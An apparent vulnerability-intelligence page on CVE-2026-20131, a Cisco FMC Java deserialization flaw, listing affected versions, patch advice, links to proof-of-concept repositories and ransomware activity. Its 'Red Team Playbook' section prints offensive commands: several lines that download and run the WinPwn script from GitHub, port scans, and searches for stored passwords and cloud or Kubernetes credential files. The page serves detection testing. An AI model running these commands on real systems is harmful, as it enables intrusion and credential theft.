CVE-2026-20131
Overview
This vulnerability is an insecure deserialization flaw within the web-based management interface of Cisco Secure Firewall Management Center (FMC). It arises from improper handling of user-supplied serialized Java byte streams, allowing crafted objects to be processed without validation. The affected component is the Java deserialization mechanism in the FMC software versions 6.4.0.13 through 6.4.0.17.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root. Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.
Impact
An unauthenticated remote attacker can execute arbitrary Java code with root privileges on the affected device by exploiting this vulnerability. No user interaction or credentials are required, allowing full system compromise. This can lead to complete control over the firewall management infrastructure, enabling data exfiltration, manipulation of firewall policies, and lateral movement within the network environment.
Solution
Cisco has released patches addressing this vulnerability in Secure Firewall Management Center versions 6.4.0.18 and later. Administrators should apply the updates as detailed in Cisco Security Advisory cisco-sa-fmc-rce-NKhnULJh available at Cisco's official security portal. If public internet access to the FMC management interface is unavoidable, applying network-level access restrictions is recommended as a temporary mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (71)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.13 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.13:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.14 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.14:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.15 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.15:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.16 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.16:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.17 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.17:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 6.4.0.18 |
cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.18:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.0 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0.1:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.1.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1.1:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2:*:*:*:*:*:*:*
|
|
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Cisco | Secure Firewall Management Center | 7.0.2.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2.1:*:*:*:*:*:*:*
|
|
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Cisco | Secure Firewall Management Center | 7.0.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.3:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.4 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.4:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.5 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.5:*:*:*:*:*:*:*
|
|
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Cisco | Secure Firewall Management Center | 7.0.6 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6:*:*:*:*:*:*:*
|
|
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Cisco | Secure Firewall Management Center | 7.0.6.1 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.1:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.6.2 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.2:*:*:*:*:*:*:*
|
|
|
Cisco | Secure Firewall Management Center | 7.0.6.3 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.3:*:*:*:*:*:*:*
|
|
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Cisco | Secure Firewall Management Center | 7.0.7 |
cpe:2.3:a:cisco:secure_firewall_management_center:7.0.7:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (6)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sak110/CVE-2026-20131
|
sak110 | 3 | 3 | 2026-03-11 | View |
|
Hassan-Pouladi/Cisco-FMC-honeypot
Originally a Honeypot for CVE-2026-20131
|
Hassan-Pouladi | 2 | 1 | 2026-04-07 | View |
|
p3Nt3st3r-sTAr/CVE-2026-20131-POC
|
p3Nt3st3r-sTAr | 0 | 3 | 2026-03-06 | View |
|
Sushilsin/CVE-2026-20131
CVE-2026-20131 — Cisco FMC Insecure Java Deserialization (RCE)
|
Sushilsin | 1 | 1 | 2026-03-06 | View |
|
Jwa7470/CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Inte...
|
Jwa7470 | 0 | 0 | 2026-08-28 | View |
|
0xBlackash/CVE-2026-20131
CVE-2026-20131
|
0xBlackash | 0 | 0 | 2026-05-10 | View |
Ransomware Groups 2
Threat Feed
44 eventsRansomware group known to exploit this vulnerability. Tools: AZCopy, Advanced Port Scanner, AnyDesk, Azure Storage Explorer, Cobalt Strike (126 known victims)
Ransomware group known to exploit this vulnerability (32 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, AnyDesk, Atera, BITSAdmin, Cloudflared (517 known victims)
Ransomware group known to exploit this vulnerability. Tools: AZCopy, Advanced Port Scanner, AnyDesk, Azure Storage Explorer, Cobalt Strike (126 known victims)
Ransomware group known to exploit this vulnerability (32 known victims)
Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, EDRSandBlast, EasyUpload.io, Evilginx, Kali Linux (2304 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability (2 known victims)
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20131 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-rce-NKhnULJh |
| aws.amazon.com |
NVD API
Technical Description
|
https://aws.amazon.com/blogs/security/amazon-threat-intelligence-teams-identify-interlock-ransomware-campaign-targeting-enterprise-firewalls/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20131 |